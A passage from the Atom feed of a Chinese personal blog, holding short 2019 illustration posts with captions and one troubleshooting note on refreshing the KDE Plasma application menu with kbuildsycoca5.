class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就能正常打开了，而且和图片一样清楚。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;crt_gif
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;crt_gif&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>Earthman Lu</title>
    <published>2019-11-16T16:01:36+08:00</published>
    <updated>2019-11-16T16:01:36+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/earthman_lu/" type="text/html" />
    <id>https://emptystack.top/earthman_lu/</id>
    <content type="html">
      







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Earthman Lu.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Earthman Lu.4618b3b295e28ab5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Earthman Lu.ae53083745f7ea98.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Earthman Lu.7edb08c68bd7c73f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Earthman Lu.ae53083745f7ea98.webp&quot;
	alt=&quot;Earthman Lu&quot;
	
	
	height=&quot;1536&quot;
	width=&quot;2048&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;Earthman：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;粪便能热解制成活性炭，净化你喝的矿泉水&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;earthman_lu
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;earthman_lu&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>Pilotman与绿墨水</title>
    <published>2019-10-27T19:29:38+08:00</published>
    <updated>2019-10-27T19:29:38+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/pilotman_ink/" type="text/html" />
    <id>https://emptystack.top/pilotman_ink/</id>
    <content type="html">
      







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Pilotman&amp;ink-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Pilotman&amp;amp;ink-fs8.d9694725a3d07365.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Pilotman&amp;amp;ink-fs8.d48d3d632a53cc50.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Pilotman&amp;amp;ink-fs8.342b7413b6b434b8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Pilotman&amp;amp;ink-fs8.d48d3d632a53cc50.webp&quot;
	alt=&quot;Pilotman &amp;amp; Dark Forest (L)&quot;
	
	
	height=&quot;1536&quot;
	width=&quot;2048&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;



      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;pilotman_ink
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;pilotman_ink&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>Pilotman</title>
    <published>2019-10-17T22:37:05+08:00</published>
    <updated>2019-10-17T22:37:05+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/pilotman/" type="text/html" />
    <id>https://emptystack.top/pilotman/</id>
    <content type="html">
      







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Pilotman-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Pilotman-fs8.7e185b9af12c6a02.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Pilotman-fs8.f523ef10aa863ae6.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Pilotman-fs8.20b8b98f13ef6de7.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Pilotman-fs8.f523ef10aa863ae6.webp&quot;
	alt=&quot;Pilotman&quot;
	
	
	height=&quot;2048&quot;
	width=&quot;1536&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p style=&quot;text-align:center;text-indent:0&quot;&gt;
&lt;p&gt;哭了，日常用的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cocoon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;坏了
，看到高颧骨的人就想到钢笔尖。&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;pilotman
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;pilotman&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>M码呢？</title>
    <published>2019-09-23T23:44:05+08:00</published>
    <updated>2019-09-23T23:44:05+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/where_is_my_size/" type="text/html" />
    <id>https://emptystack.top/where_is_my_size/</id>
    <content type="html">
      




&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;M-Size-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;M-Size-fs8.png&quot;
	alt=&quot;size.png&quot;
	height=&quot;1900&quot;
	width=&quot;768&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p style=&quot;text-align:center;text-indent:0&quot;&gt;
&lt;p&gt;看到一件特想要的衣服，但没有我的码，怀疑被仅剩的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;码绑架了。&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;where_is_my_size
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;where_is_my_size&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>闪烁的远光灯就像闪电一样</title>
    <published>2019-09-15T22:39:51+08:00</published>
    <updated>2019-09-15T22:39:51+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/high_beam_is_lightning/" type="text/html" />
    <id>https://emptystack.top/high_beam_is_lightning/</id>
    <content type="html">
      




&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;highbeam-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;highbeam-fs8.png&quot;
	alt=&quot;high beam is lightning&quot;
	height=&quot;742&quot;
	width=&quot;1344&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p style=&quot;text-align:center&quot;&gt;
&lt;p&gt;开着开着我以为要下雨了。&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;high_beam_is_lightning
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;high_beam_is_lightning&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>注意缩进！</title>
    <published>2019-09-08T21:52:31+08:00</published>
    <updated>2019-09-08T21:52:31+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/watch_your_indentation/" type="text/html" />
    <id>https://emptystack.top/watch_your_indentation/</id>
    <content type="html">
      







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;watch-your-indentation-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;watch-your-indentation-fs8.e798228eae4d6dc8.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;watch-your-indentation-fs8.e8a518bb26ebd6c1.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;watch-your-indentation-fs8.7903a6426bed4ae8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;watch-your-indentation-fs8.e8a518bb26ebd6c1.webp&quot;
	alt=&quot;watch your indentation&quot;
	
	
	height=&quot;1536&quot;
	width=&quot;2048&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p style=&quot;text-align:center;text-indent:0&quot;&gt;
&lt;p&gt;犬牙差互一般的代码读起来是真的头疼。&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;watch_your_indentation
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;watch_your_indentation&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>手动更新KDE Plasma的应用菜单</title>
    <published>2019-08-26T21:34:05+08:00</published>
    <updated>2019-08-26T21:34:05+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/update_plasma_menu/" type="text/html" />
    <id>https://emptystack.top/update_plasma_menu/</id>
    <content type="html">
      &lt;p&gt;安了很多新软件，发现明明&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;usr&#x2F;share&#x2F;applications&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下存在对应的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;.desktop&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件，但应用菜单里就是不显示。查了半天发现可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;unix.stackexchange.com&#x2F;questions&#x2F;240243&#x2F;what-is-kbuildsycoca4-used-for&quot;&gt;&lt;code&gt;kbuildsycoca5&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来定位问题。&lt;&#x2F;p&gt;
&lt;p&gt;比如我输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;kbuildsycoca5&lt;&#x2F;code&gt;，显示如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; kbuildsycoca5&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;kbuildsycoca5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; running...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;kf5.kservice.services:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; The desktop entry file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;share&#x2F;applications&#x2F;org.kde.kded5.desktop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  has Type=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;SystemService&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  instead of&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Application&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Service&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;kf5.kservice.sycoca:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; Invalid Service :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;usr&#x2F;share&#x2F;applications&#x2F;org.kde.kded5.desktop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;按照输出的提示，把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;usr&#x2F;share&#x2F;applications&#x2F;org.kde.kded5.desktop&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Type=SystemService&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;改成
Type=Service，再运行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;kbuildsycoca5&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就不报错了。这时打开应用菜单，所有软件都有好好显示了。&lt;&#x2F;p&gt;
&lt;p&gt;如果还不行的话，请参考&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.dedoimedo.com&#x2F;computers&#x2F;plasma-menu-update.html&quot;&gt;这篇文章&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;update_plasma_menu
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;update_plasma_menu&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>Doors</title>
    <published>2019-08-19T23:08:11+08:00</published>
    <updated>2019-08-19T23:08:11+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/doors/" type="text/html" />
    <id>https://emptystack.top/doors/</id>
    <content type="html">
      







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Doors-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Doors-fs8.b3eb2a5b7e8a5dcf.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Doors-fs8.3f93ff74ca9f9f97.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Doors-fs8.33f7d56ed646305e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Doors-fs8.3f93ff74ca9f9f97.webp&quot;
	alt=&quot;The Doors&quot;
	
	
	height=&quot;2048&quot;
	width=&quot;1536&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p style=&quot;text-indent:0&quot;&gt;
&lt;p&gt;Faces come out of the rain...&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;
&lt;p style=&quot;text-align:right;text-indent:0&quot;&gt;
&lt;p&gt;Let&#x27;s swim to the moon...&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;doors
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;doors&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>DNA</title>
    <published>2019-05-19T13:35:58+08:00</published>
    <updated>2019-05-19T13:35:58+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/dna/" type="text/html" />
    <id>https://emptystack.top/dna/</id>
    <content type="html">
      







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;D.N.A.-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;D.N.A.-fs8.6aad4958475da003.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;D.N.A.-fs8.1e1303ee48b7987e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;D.N.A.-fs8.bb4bbbe47180e0e1.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;D.N.A.-fs8.1e1303ee48b7987e.webp&quot;
	alt=&quot;D.N.A.&quot;
	
	
	height=&quot;1536&quot;
	width=&quot;2048&quot;
	
